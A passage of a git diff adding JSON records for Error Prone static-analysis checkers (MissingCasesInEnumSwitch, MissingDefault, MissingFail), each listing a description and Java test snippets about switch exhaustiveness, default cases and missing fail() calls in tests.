if (x) throw new AssertionError();\n else x = !x;\n while (x) g();\n do g();\n while (x);\n for (; x; ) g();\n for (int i : is) g();\n }\n\n void g() {}\n }\n \n\n import java.util.List;\n\n class Test {\n void f(boolean x, List is) {\n if (x) {\n throw new AssertionError();\n } else {\n x = !x;\n }\n while (x) {\n g();\n }\n do {\n g();\n } while (x);\n for (; x; ) {\n g();\n }\n for (int i : is) {\n g();\n }\n }\n\n void g() {}\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "class Test {\n void f(boolean x) {\n if (x) {\n g();\n } else {\n g();\n }\n while (x) {\n g();\n }\n do {\n g();\n } while (x);\n for (; ; ) {\n g();\n }\n }\n\n void g() {}\n }" + }, + { + "description": "suggestedFixForNestedProblemsWithOverlappingBracePostfixInsertions", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import java.util.List;\n\n class Test {\n private String findNotNull(List items) {\n for (String item : items) if (item != null) return item;\n return null;\n }\n }\n \n\n import java.util.List;\n\n class Test {\n private String findNotNull(List items) {\n for (String item : items) {\n if (item != null) {\n return item;\n }\n }\n return null;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingCasesInEnumSwitch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingCasesInEnumSwitch.json new file mode 100644 index 0000000..c137d38 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingCasesInEnumSwitch.json @@ -0,0 +1,166 @@ +{ + "name": "MissingCasesInEnumSwitch", + "language": "java", + "description": "Switches on enum types should either handle all values, or have a default case.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 126, + "branches": 26, + "apis": 2, + "test": [ + { + "description": "exhaustive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n case THREE:\n System.err.println(\"found it!\");\n break;\n }\n }\n }" + }, + { + "description": "exhaustive_allowsQualifying", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n switch (c) {\n case Case.ONE:\n case Case.TWO:\n case Case.THREE:\n System.err.println(\"found it!\");\n break;\n }\n }\n }" + }, + { + "description": "exhaustive_multipleCaseExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n switch (c) {\n case ONE, TWO -> {}\n }\n }\n }" + }, + { + "description": "nonExhaustive_withDefault", + "expected-problems": null, + "expected-linenumbers": [ + 109 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n switch (c) {\n case ONE:\n case TWO:\n System.err.println(\"found it!\");\n break;\n default:\n break;\n }\n }\n }" + }, + { + "description": "nonExhaustive_withCombinedDefault", + "expected-problems": null, + "expected-linenumbers": [ + 137 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n switch (c) {\n case ONE, TWO -> System.err.println(\"found it!\");\n case null, default -> {}\n }\n }\n }" + }, + { + "description": "nonExhaustive_withDefaultForSkew", + "expected-problems": null, + "expected-linenumbers": [ + 162 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains:\n // Non-exhaustive switch; either add a default or handle the remaining cases\n // THREE\n switch (c) {\n case ONE:\n case TWO:\n System.err.println(\"found it!\");\n break;\n default: // fallback for library skew\n break;\n }\n }\n }" + }, + { + "description": "nonExhaustive", + "expected-problems": null, + "expected-linenumbers": [ + 193 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains: THREE\n switch (c) {\n case ONE:\n case TWO:\n System.err.println(\"found it!\");\n break;\n }\n }\n }" + }, + { + "description": "nonExhaustive_manyCases", + "expected-problems": null, + "expected-linenumbers": [ + 220 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE,\n FOUR,\n FIVE,\n SIX,\n SEVEN,\n EIGHT\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains: TWO, THREE, FOUR, and 4 others\n switch (c) {\n case ONE:\n System.err.println(\"found it!\");\n break;\n }\n }\n }" + }, + { + "description": "nonExhaustive_nonEnum", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "class Test {\n void m(int i) {\n switch (i) {\n case 1:\n case 2:\n System.err.println(\"found it!\");\n break;\n }\n }\n }" + }, + { + "description": "empty", + "expected-problems": null, + "expected-linenumbers": [ + 271 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case e) {\n // BUG: Diagnostic contains: ONE, TWO\n switch (e) {\n }\n }\n }" + }, + { + "description": "nonExhaustive_arrowStatement", + "expected-problems": null, + "expected-linenumbers": [ + 293 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains: TWO\n switch (c) {\n case ONE -> {\n System.err.println(\"found it!\");\n }\n }\n }\n }" + }, + { + "description": "nonExhaustive_multi", + "expected-problems": null, + "expected-linenumbers": [ + 318 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains: THREE\n switch (c) {\n case ONE, TWO:\n System.err.println(\"found it!\");\n }\n }\n }" + }, + { + "description": "nonExhaustive_multiArrow", + "expected-problems": null, + "expected-linenumbers": [ + 343 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n // BUG: Diagnostic contains: THREE\n switch (c) {\n case ONE, TWO -> {\n System.err.println(\"found it!\");\n }\n }\n }\n }" + }, + { + "description": "i4684", + "expected-problems": null, + "expected-linenumbers": [ + 369 + ], + "code": "public class ErrorProneBug {\n enum A {\n A1,\n A2,\n A3\n }\n\n public static void main(String[] args) {\n A a = null;\n\n switch (a) {\n case null -> {\n System.out.println(\"null\");\n }\n case A1 -> {\n System.out.println(\"A1\");\n }\n case A2 -> {\n System.out.println(\"A2\");\n }\n case A3 -> {\n System.out.println(\"A3\");\n }\n }\n }\n }" + }, + { + "description": "switchExpression_exhaustive", + "expected-problems": null, + "expected-linenumbers": [ + 406 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n int x =\n switch (c) {\n case ONE -> 1;\n case TWO -> 2;\n case THREE -> 3;\n };\n }\n }" + }, + { + "description": "switchExpression_hasDefault", + "expected-problems": null, + "expected-linenumbers": [ + 432 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n int x =\n switch (c) {\n case ONE -> 1;\n default -> -1;\n };\n }\n }" + }, + { + "description": "switchExpression_onlyDefault", + "expected-problems": null, + "expected-linenumbers": [ + 457 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n int x =\n switch (c) {\n default -> -1;\n };\n }\n }" + }, + { + "description": "switchExpression_nonExhaustive_withDefaultForSkew", + "expected-problems": null, + "expected-linenumbers": [ + 481 + ], + "code": "class Test {\n enum Case {\n ONE,\n TWO,\n THREE\n }\n\n void m(Case c) {\n int x =\n // BUG: Diagnostic contains:\n // Non-exhaustive switch; ensure all cases are handled in addition to the default case\n // THREE\n switch (c) {\n case ONE -> 1;\n case TWO -> 2;\n // fallback for library skew\n default -> -1;\n };\n }\n }" + }, + { + "description": "defaultInRuleCase", + "expected-problems": null, + "expected-linenumbers": [ + 511 + ], + "code": "public class Test {\n public enum E {\n A,\n B\n }\n\n public static Object test(E e) {\n return switch (e) {\n case A:\n yield new Object();\n default:\n yield null;\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingDefault.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingDefault.json new file mode 100644 index 0000000..94cbe7a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingDefault.json @@ -0,0 +1,110 @@ +{ + "name": "MissingDefault", + "language": "java", + "description": "The Google Java Style Guide requires that each switch statement includes a default statement group, even if it contains no code. (This requirement is lifted for any switch statement that covers all values of an enum.)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 108, + "branches": 24, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "class Test {\n boolean f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n return true;\n }\n return false;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n return true;\n default: // fall out\n }\n return false;\n }\n }" + }, + { + "description": "positiveBreak", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "class Test {\n void f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n System.err.println(42);\n }\n }\n }\n \n\n class Test {\n void f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n System.err.println(42);\n break;\n default: // fall out\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 104 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n case 42:\n return true;\n default:\n return false;\n }\n }\n }" + }, + { + "description": "enumSwitch", + "expected-problems": null, + "expected-linenumbers": [ + 124 + ], + "code": "class Test {\n enum E {\n ONE,\n TWO\n }\n\n boolean f(E e) {\n switch (e) {\n case ONE:\n return true;\n }\n return false;\n }\n }" + }, + { + "description": "empty", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n case 42:\n return true;\n default: // fall out\n }\n return false;\n }\n }" + }, + { + "description": "emptyNoComment", + "expected-problems": null, + "expected-linenumbers": [ + 168 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n case 42:\n return true;\n default:\n }\n return false;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n switch (i) {\n case 42:\n return true;\n default: // fall out\n }\n return false;\n }\n }" + }, + { + "description": "interiorEmptyNoComment", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "class Test {\n boolean f(int i) {\n switch (i) {\n default:\n case 42:\n return true;\n }\n }\n }" + }, + { + "description": "multipleStatementsInGroup", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "class Test {\n boolean f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n System.err.println();\n return true;\n }\n return false;\n }\n }\n \n\n class Test {\n boolean f(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 42:\n System.err.println();\n return true;\n default: // fall out\n }\n return false;\n }\n }" + }, + { + "description": "arrowSwitch", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "class Test {\n void m(int i) {\n // BUG: Diagnostic contains:\n switch (i) {\n case 1 -> {}\n case 2 -> {}\n }\n }\n }" + }, + { + "description": "arrowSwitchNegative", + "expected-problems": null, + "expected-linenumbers": [ + 277 + ], + "code": "class Test {\n void m(int i) {\n switch (i) {\n case 1 -> {}\n case 2 -> {}\n default -> {} // fall out\n }\n }\n }" + }, + { + "description": "arrowComment", + "expected-problems": null, + "expected-linenumbers": [ + 296 + ], + "code": "class Test {\n void f() {}\n\n void m(int i) {\n switch (i) {\n case 0 -> f();\n case 1 -> f();\n default -> f();\n }\n }\n }" + }, + { + "description": "exhaustiveExpressionSwitch", + "expected-problems": null, + "expected-linenumbers": [ + 317 + ], + "code": "class Test {\n sealed interface I permits A, B {}\n\n abstract static class S {}\n\n static final class A extends S implements I {}\n\n static final class B extends S implements I {}\n\n void f(I i) {\n switch (i) {\n case A a -> System.err.println(a);\n case B b -> System.err.println(b);\n }\n ;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingFail.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingFail.json new file mode 100644 index 0000000..b9ca79b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MissingFail.json @@ -0,0 +1,182 @@ +{ + "name": "MissingFail", + "language": "java", + "description": "Not calling fail() when expecting an exception masks bugs", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 415, + "branches": 29, + "apis": 12, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n import org.junit.Assert;\n import org.mockito.Mockito;\n\n /** Test cases for missing fail */\n public class MissingFailPositiveCases extends TestCase {\n\n private boolean foo = true;\n\n public void expectedException_emptyCatch() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void catchAssert() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n public void catchVerify() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception e) {\n verifyDummy();\n }\n }\n\n public void expectedException_throwOutsideTryTree() throws Exception {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n throw new Exception();\n }\n\n public void expectedException_assertLastCall() throws Exception {\n try {\n dummyMethod();\n // BUG: Diagnostic contains: fail()\n assertDummy();\n } catch (Exception expected) {\n }\n throw new Exception();\n }\n\n public void expectedException_fieldAssignmentInCatch() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n foo = true;\n }\n }\n\n public void catchAssert_noopAssertLastCall() {\n try {\n dummyMethod();\n // BUG: Diagnostic contains: fail()\n Assert.assertTrue(true);\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n public void assertInCatch_verifyNotLastStatement() {\n try {\n Mockito.verify(new Dummy()).dummy();\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n public void assertInCatch_verifyInCatch() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n Mockito.verify(new Dummy()).dummy();\n }\n }\n\n public void expectedException_logInTry() {\n try {\n new Logger().log();\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n foo = true;\n }\n }\n\n /** Sameple inner class. */\n public static class Inner {\n public void expectedException_emptyCatch() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n }\n\n private static class Dummy {\n\n String dummy() {\n return \"\";\n }\n }\n\n private static class Logger {\n\n void log() {}\n ;\n\n void info() {}\n ;\n }\n\n private static void dummyMethod() {}\n\n private static void assertDummy() {}\n\n private static void verifyDummy() {}\n }\\" + }, + { + "description": "positiveCases2", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n // unused import to make sure we don't introduce an import conflict.\n\n import org.junit.Test;\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n\n /** Test cases for missing fail */\n @RunWith(JUnit4.class)\n public class MissingFailPositiveCases2 {\n\n @Test\n public void expectedException() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_helperMethod() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n private static void dummyMethod() {}\n }\\" + }, + { + "description": "expectedException", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "" + }, + { + "description": "positiveCases3", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import junit.framework.TestCase;\n\n /** Examples of an inner test case. */\n public class MissingFailPositiveCases3 {\n\n /** Sample inner class. */\n public static class Inner extends TestCase {\n\n public void expectedException_emptyCatch() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void catchAssert() {\n try {\n // BUG: Diagnostic contains: fail()\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n }\n }\n }\n\n private static void dummyMethod() {}\n\n private static void assertDummy() {}\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport junit.framework.AssertionFailedError;\nimport junit.framework.Test;\nimport junit.framework.TestCase;\nimport org.junit.After;\nimport org.junit.Assert;\nimport org.junit.Before;\nimport org.mockito.Mockito;\n\n/** Test cases for missing fail */\npublic class MissingFailNegativeCases extends TestCase {\n\n private static final Logger logger = new Logger();\n private static final Logger log = new Logger();\n private static final Logger thingThatLogs = new Logger();\n\n private boolean foo = true;\n\n public void expectedException_withFail() {\n try {\n dummyMethod();\n Assert.fail();\n } catch (Exception expected) {\n }\n }\n\n @SuppressWarnings(\"deprecation\") // Need to recognize a framework call but don't want a warning.\n public void expectedException_withFrameworkFail() {\n try {\n dummyMethod();\n junit.framework.Assert.fail();\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_withStaticFail() {\n try {\n dummyMethod();\n fail();\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_returnInTry() {\n try {\n dummyMethod();\n return;\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_returnInCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n return;\n }\n }\n\n public void expectedException_returnAfterCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n return;\n }\n\n public void expectedException_throwInCatch() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n throw new Exception();\n }\n }\n\n public void expectedException_throwInTry() throws Exception {\n boolean foo = false;\n try {\n if (foo) {\n throw new Exception();\n }\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_throwSynonymInCatch() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.assertFalse(true);\n }\n }\n\n public void assertInCatch_testCaseThrowSynonymInCatch() throws Exception {\n try {\n dummyMethod();\n } catch (Exception e) {\n assertFalse(true);\n }\n }\n\n public void expectedException_throwSynonymInTry() throws Exception {\n boolean foo = false;\n try {\n if (foo) {\n Assert.assertFalse(true);\n }\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_assertTrueFalse() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.assertTrue(false);\n }\n }\n\n public void expectedException_assertTrueFalseWithMessage() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.assertTrue(\"This should never happen\", false);\n }\n }\n\n public void expectedException_testCaseAssertTrueFalseWithMessage() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n assertTrue(\"This should never happen\", false);\n }\n }\n\n public void assertInCatch_assertTrueFalseWithMessage() throws Exception {\n try {\n dummyMethod();\n } catch (Exception e) {\n Assert.assertTrue(\"This should never happen\", false);\n }\n }\n\n public void expectedException_assertBoxedTrueFalse() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.assertTrue(Boolean.FALSE);\n }\n }\n\n public void expectedException_assertUnequal() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.assertEquals(1, 2);\n }\n }\n\n public void expectedException_testCaseAssertUnequal() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n assertEquals(1, 2);\n }\n }\n\n public void expectedException_assertFalse() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n assert (false);\n }\n }\n\n @Before\n public void expectedException_beforeAnnotation() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n @After\n public void expectedException_afterAnnotation() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n // Don't match setUp methods.\n public void setUp() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n // Don't match tearDown methods.\n public void tearDown() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n // Don't match main methods.\n public static void main(String[] args) throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n // Don't match suite methods.\n public static Test suite() throws Exception {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n int x; // Don't return right after catch so as not to trigger that exclusion.\n return null;\n }\n\n public void expectedException_interruptedException() throws Exception {\n try {\n dummyMethod();\n } catch (InterruptedException expected) {\n }\n }\n\n public void expectedException_assertionError() throws Exception {\n try {\n dummyMethod();\n } catch (AssertionError expected) {\n }\n }\n\n public void expectedException_assertionFailedError() throws Exception {\n try {\n dummyMethod();\n } catch (AssertionFailedError expected) {\n }\n }\n\n public void expectedException_throwable() throws Exception {\n try {\n dummyMethod();\n } catch (Throwable expected) {\n }\n }\n\n public void testExpectedException_loopInTestMethod() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n }\n\n public void expectedException_loopInHelperMethod() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n }\n\n public static Map assertInCatch_loopInHelperMethod(String... strings) {\n Map map = new HashMap<>();\n for (String s : strings) {\n try {\n map.put(s, s);\n } catch (Exception e) {\n Assert.assertTrue(s.contains(\"foo\"));\n }\n }\n return map;\n }\n\n // prefixed with \"test\" but private - not a test method.\n private void testExpectedException_loopInPrivateTestHelperMethod() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n }\n\n // prefixed with \"test\" but returns - not a test method.\n public String testExpectedException_loopInReturningTestHelperMethod() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n return \"\";\n }\n\n // Prefixed with \"test\" to not trigger loop in helper method exclusion.\n public void testExpectedException_continueInCatch() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n } catch (Exception expected) {\n continue;\n }\n }\n }\n\n // Prefixed with \"test\" to not trigger loop in helper method exclusion.\n public void testExpectedException_continueInTry() throws Exception {\n for (int i = 0; i < 2; i++) {\n try {\n dummyMethod();\n continue;\n } catch (Exception expected) {\n }\n }\n }\n\n public void expectedException_finally() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n } finally {\n }\n }\n\n public void expectedException_logInCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n thingThatLogs.log();\n }\n }\n\n public void expectedException_loggerCallInCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n logger.info();\n }\n }\n\n public void expectedException_logCallInCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n log.info();\n }\n }\n\n public void assertInCatch_assertLastCallInTry() {\n try {\n dummyMethod();\n assertDummy();\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n public void assertInCatch_fieldAssignmentInCatch() {\n try {\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n foo = true;\n }\n }\n\n public void assertInCatch_assertOnFieldInCatch() {\n try {\n dummyMethod();\n } catch (Exception e) {\n Assert.assertTrue(foo);\n }\n }\n\n public void assertInCatch_assertOnVariableInCatch() {\n boolean bar = false;\n try {\n dummyMethod();\n } catch (Exception e) {\n Assert.assertTrue(bar);\n }\n }\n\n public void assertInCatch_verifyBeforeCatch() {\n try {\n dummyMethod();\n Mockito.verify(new Dummy()).dummy();\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n public void assertInCatch_noopAssertInCatch() {\n try {\n dummyMethod();\n } catch (Exception e) {\n assertTrue(true);\n }\n }\n\n public void expectedException_failInCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n Assert.fail();\n }\n }\n\n public void expectedException_whileTrue() {\n try {\n while (true) {\n dummyMethod();\n }\n } catch (Exception expected) {\n }\n }\n\n public void expectedException_customFail() {\n try {\n dummyMethod();\n specialFail();\n } catch (Exception expected) {\n }\n }\n\n private static void dummyMethod() throws InterruptedException {}\n\n private static void assertDummy() {}\n\n private static void specialFail() {}\n\n private static class Logger {\n\n void log() {}\n ;\n\n void info() {}\n ;\n }\n\n private static class Dummy {\n\n String dummy() {\n return \"\";\n }\n }\n}\\" + }, + { + "description": "negativeCases2", + "expected-problems": null, + "expected-linenumbers": [ + 739 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /** Test cases for missing fail in a non-test class */\n public class MissingFailNegativeCases2 {\n\n public void expectedException_emptyCatch() {\n try {\n dummyMethod();\n } catch (Exception expected) {\n }\n }\n\n public void catchAssert() {\n try {\n dummyMethod();\n } catch (Exception e) {\n assertDummy();\n }\n }\n\n private static void dummyMethod() {}\n\n private static void assertDummy() {}\n }\\" + }, + { + "description": "failImport", + "expected-problems": null, + "expected-linenumbers": [ + 773 + ], + "code": "package test;\n\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n } catch (IllegalArgumentException expected) {\n }\n }\n }\n \n\n package test;\n\n import static org.junit.Assert.fail;\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n fail(\"Expected IllegalArgumentException\");\n } catch (IllegalArgumentException expected) {\n }\n }\n }" + }, + { + "description": "failMessageMultiCatch", + "expected-problems": null, + "expected-linenumbers": [ + 814 + ], + "code": "package test;\n\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n } catch (IllegalArgumentException | IllegalStateException expected) {\n }\n }\n }\n \n\n package test;\n\n import static org.junit.Assert.fail;\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n fail(\"Expected Exception\");\n } catch (IllegalArgumentException | IllegalStateException expected) {\n }\n }\n }" + }, + { + "description": "toleratedException", + "expected-problems": null, + "expected-linenumbers": [ + 856 + ], + "code": "package test;\n\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n } catch (IllegalArgumentException | IllegalStateException tolerated) {\n }\n }\n }" + }, + { + "description": "toleratedExceptionWithAssert", + "expected-problems": null, + "expected-linenumbers": [ + 879 + ], + "code": "package test;\n\n import junit.framework.TestCase;\n\n public class A extends TestCase {\n public void testMethod() {\n try {\n new String();\n } catch (IllegalArgumentException | IllegalStateException tolerated) {\n assertDummy();\n }\n }\n\n static void assertDummy() {}\n }" + }, + { + "description": "assertThrowsCatchBlock", + "expected-problems": null, + "expected-linenumbers": [ + 904 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n\n @Test\n public void g() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n } catch (IOException e) {\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }\n }\n \n\n import static com.google.common.truth.Truth.assertThat;\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void f() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException e =\n assertThrows(\n IOException.class,\n () -> {\n Files.readAllBytes(p);\n Files.readAllBytes(p);\n });\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n\n @Test\n public void g() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n IOException e = assertThrows(IOException.class, () -> Files.readAllBytes(p));\n assertThat(e).hasMessageThat().contains(\"NOSUCH\");\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 916 + ], + "code": "" + }, + { + "description": "g", + "expected-problems": null, + "expected-linenumbers": [ + 927 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 948 + ], + "code": "" + }, + { + "description": "g", + "expected-problems": null, + "expected-linenumbers": [ + 961 + ], + "code": "" + }, + { + "description": "assertThrowsEmptyCatch", + "expected-problems": null, + "expected-linenumbers": [ + 973 + ], + "code": "import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n try {\n Files.readAllBytes(p);\n } catch (IOException expected) {\n }\n }\n }\n \n\n import static org.junit.Assert.assertThrows;\n import java.io.IOException;\n import java.nio.file.*;\n import org.junit.Test;\n\n class ExceptionTest {\n @Test\n public void test() throws Exception {\n Path p = Paths.get(\"NOSUCH\");\n assertThrows(IOException.class, () -> Files.readAllBytes(p));\n }\n }" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 984 + ], + "code": "" + }, + { + "description": "test", + "expected-problems": null, + "expected-linenumbers": [ + 1003 + ], + "code": "" + }, + { + "description": "emptyTry", + "expected-problems": null, + "expected-linenumbers": [ + 1014 + ], + "code": "import java.io.IOException;\n import org.junit.Test;\n\n abstract class ExceptionTest {\n abstract AutoCloseable c();\n\n @Test\n public void test() {\n 